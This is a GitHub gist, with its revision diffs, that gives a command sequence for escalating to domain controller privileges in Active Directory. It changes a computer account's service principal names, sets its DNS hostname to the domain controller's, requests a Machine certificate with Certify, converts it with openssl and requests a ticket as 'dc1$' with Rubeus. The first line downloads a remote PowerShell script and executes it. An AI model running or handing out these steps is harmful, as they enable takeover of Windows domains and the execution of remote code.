-
-
Save MapleSafe/24bc7e8a38c5e6111d51db2f155cf71f to your computer and use it in GitHub Desktop.
Revisions
-
Wh04m1001 revised this gist
May 11, 2022 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -15,4 +15,4 @@ Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx .\Rubeus.exe asktgt /certificate:cert.pfx /user:dc1$ -
Wh04m1001 revised this gist
May 11, 2022 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -15,4 +15,4 @@ Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx .\Rubeus.exe asktgt /certificate:cert.pfx -
Wh04m1001 created this gist
May 11, 2022 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,18 @@ iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing ) Import-ActiveDirectory Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose #in my testing i had to set dnshostname to $null first Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local .\Certify.exe request /ca:DC1.batcave.local\batcave-DC1-CA /template:Machine /machine #linux openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx .\Rubeus.exe asktgt /cert:cert.pfx